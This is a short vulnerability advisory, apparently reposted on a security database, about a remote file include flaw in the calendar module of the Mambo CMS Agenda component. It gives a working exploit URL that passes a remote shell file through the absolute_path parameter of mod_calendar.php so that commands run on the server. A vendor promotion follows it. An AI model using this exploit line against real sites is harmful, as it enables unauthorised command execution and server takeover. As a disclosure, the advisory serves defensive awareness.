A complete calendar solution with component and module part for mambo cms, has a remote file include vulnerability allowing remote attackers to execute commands via RFI
`####################################################################################
#Agenda - Remote File Include
------------------------------------------------------------------------------------
Description:
A complete calendar solution with component and module part for mambo cms. The issue
is at the calendar module.
#####################
#Bug Found by: jank0
#greetz: hackbsd crew
#risk: dangerous
##this bug allows a remote atacker to execute commands via rfi
/path: ?absolute_path=
/xpl:
http://web/modules/mod_calendar.php?absolute_path=http://shell.txt
#Contact: irc.undernet.org #hackbsd & #ircmasters`
Transform Your Security Services
Elevate your offerings with Vulners' advanced Vulnerability Intelligence. Contact us for a demo and discover the difference comprehensive, actionable intelligence can make in your security strategy.
Book a live demo